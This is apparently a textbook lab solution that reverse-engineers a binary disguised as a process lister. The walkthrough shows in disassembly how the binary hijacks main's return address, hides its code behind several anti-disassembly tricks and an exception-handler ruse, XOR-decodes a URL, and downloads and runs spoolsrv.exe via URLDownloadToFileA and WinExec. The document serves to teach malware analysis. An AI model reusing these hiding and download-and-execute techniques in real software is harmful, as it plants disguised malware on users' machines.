The malicious code is initially called by overwriting the return pointer from the main function.
The malicious code downloads a file from a URL and launches it with WinExec.
The URL used by the program is http://www.practicalmalwareanalysis.com/tt.html.
The filename used by the program is spoolsrv.exe.
Quickly examining this binary, it initially seems to be a process-listing tool. You might have
also noticed a few suspicious imports, such as URLDownloadToFile
and WinExec. If you scrolled near the bottom of the code in IDA
Pro, just before the C runtime library code, you may have even noticed where these suspicious
functions are called. This code does not seem to be a part of the program at all. There is no
reference to it, and much of it isn’t even disassembled.
Scroll to the top of the main function and examine the
lines of disassembly, as shown in Example C-133.
Example C-133. Calculating an address and loading it on the stack
0040100C mov eax, 400000h ❶ 00401011 or eax, 148Ch ❷ 00401016 mov [ebp+4], eax ❸
This code builds the value 0x0040148C by ORing 0x400000
❶ and 0x148C
❷ together and storing it in EAX. The code loads that
value to some location on the stack relative to EBP at ❸. You can press CTRL-K to bring up a stack frame
view of the current function to see that offset 4 points to the return address. By overwriting the
return address, when the main function ends, the orphaned code at
0x0040148C will execute instead of the normal process-termination code in the C runtime
library.
The start of the code at 0x0040148C is not identified by IDA Pro as being part of a function, as shown in Example C-134.
Example C-134. The orphaned code assembled at 0x40148C
0040148C push ebp 0040148D mov ebp, esp 0040148F push ebx 00401490 push esi 00401491 push edi 00401492 xor eax, eax 00401494 jz short near ptr loc_401496+1 ❶ 00401496 00401496 loc_401496: ; CODE XREF: 00401494j 00401496 jmp near ptr 4054D503h ❷
This orphaned code begins as a normal function, but then we encounter an
anti-disassembly countermeasure in the form of a false conditional at ❶. Here, the jz instruction
will always jump. The target of the jump is 0x00401497, which is currently not shown in the
disassembly because it is the second byte of a 5-byte jmp
instruction shown at ❷. Place your cursor on the
jmp instruction at ❷
and press the D key to turn it into data. Then place your cursor on line 0x00401497 and press C to
turn it into code.
Once 0x00401497 is disassembled correctly, the next block of code you will see is shown in Example C-135.
Example C-135. Building an exception handler and triggering an exception
00401497 push offset dword_4014C0 0040149C push large dword ptr fs:0 004014A3 mov large fs:0, esp 004014AA xor ecx, ecx 004014AC div ecx ❸ 004014AE ❶push offset aForMoreInforma ; "For more information..." 004014B3 ❷call printf
The lines at ❶ and ❷ are placed there solely to pose as a decoy; they will never be
executed. The first five lines of this fragment build an exception handler and trigger a
divide-by-zero exception at ❸. (The ECX will always be
zero because of the xor ecx,ecx in the previous
instruction.)
The location handling the exception is 0x004014C0, as shown in Example C-136.
Example C-136. The exception-handling code currently defined as data
004014C0 dword_4014C0 dd 824648Bh, 0A164h, 8B0000h, 0A364008Bh, 0 004014C0 ; DATA XREF: loc_401497o 004014D4 dd 0EB08C483h, 0E848C0FFh, 0
IDA Pro did not recognize the data in Example C-136 as code, and has chosen instead to represent it as a series of DWORDs. Place your cursor on the first DWORD and press
the C key to change this into code.
After successfully changing the data in Example C-136 to code, it is displayed as shown in Example C-137.
Example C-137. Properly disassembled exception-handling code
004014C0 mov esp, [esp+8]
004014C4 mov eax, large fs:0
004014CA mov eax, [eax]
004014CC mov eax, [eax]
004014CE mov large fs:0, eax
004014D4 add esp, 8
004014D7 jmp short near ptr loc_4014D7+1 ❶The code in Example C-137 unlinks the structured
exception handler and removes the exception record from the stack. The last line of the code is an
anti-disassembly countermeasure in the form of an inward-pointing jmp instruction at ❶. Convert the jmp to data by placing your cursor at 0x4014D7 and pressing the D key.
Then select line 0x004014D8 and convert it to code with the C key.
After correcting the anti-disassembly countermeasure shown in Example C-137, we see that the rest of the code is properly
disassembled with a call to URLDownloadToFileA, seen at ❶ in Example C-138.
Example C-138. Downloading a file from a URL
004014E6 push offset unk_403010 004014EB call sub_401534 ❹ 004014F0 add esp, 4 004014F3 push offset unk_403040 004014F8 call sub_401534 ❺ 004014FD add esp, 4 00401500 push 0 00401502 push 0 00401504 push offset unk_403040 ❸ 00401509 push offset unk_403010 ❷ 0040150E push 0 00401510 call URLDownloadToFileA ❶
The second and third arguments to URLDownloadToFileA are
the URL and filename, respectively. It seems that the global memory locations unk_403010 and unk_403040 are being
used at ❷ and ❸, respectively. If you examine this memory with IDA Pro, the data does not appear to be
ASCII text. These same locations are also passed to sub_401534 at
❹ and ❺. We
should examine this function to see if it decodes this data. Careful analysis of this function (not
shown here) will find that it takes a pointer to a buffer and modifies it in place by XOR’ing
each byte with the value 0xFF. If we XOR the data at unk_403010, we get the strings http://www.practicalmalwareanalysis.com/tt.html and spoolsrv.exe for unk_403040.
Immediately following the call to URLDownloadToFileA, we
encounter one last anti-disassembly countermeasure, as shown in Example C-139. This is a false conditional in the form of a combination of jz
and jnz together to create an unconditional jump, at ❶ and ❷.
Example C-139. The final anti-disassembly technique encountered in the malware
00401515 jz short near ptr loc_401519+1 ❶ 00401517 jnz short near ptr loc_401519+1 ❷ 00401519 00401519 loc_401519: ; CODE XREF: 00401515j 00401519 ; 00401517j 00401519 call near ptr 40A81588h 0040151E xor [eax+0], al 00401521 call ds:WinExec
The target of the jumps is 0x0040151A. Place your cursor on line 0x00401519 and press D to turn this line into data. Then select line 0x0040151A and press C to turn it into code. Continue this process until you are left with the code shown in Example C-140.
Example C-140. Using WinExec to launch the downloaded file
0040151A push 0
0040151C push offset unk_403040
00401521 call ds:WinExec ❶
00401527 push 0
00401529 call ds:ExitProcessThe call to WinExec at ❶ will launch whatever is specified by the buffer unk_403040, which will contain the value spoolsrv.exe.
The program then terminates manually with ExitProcess.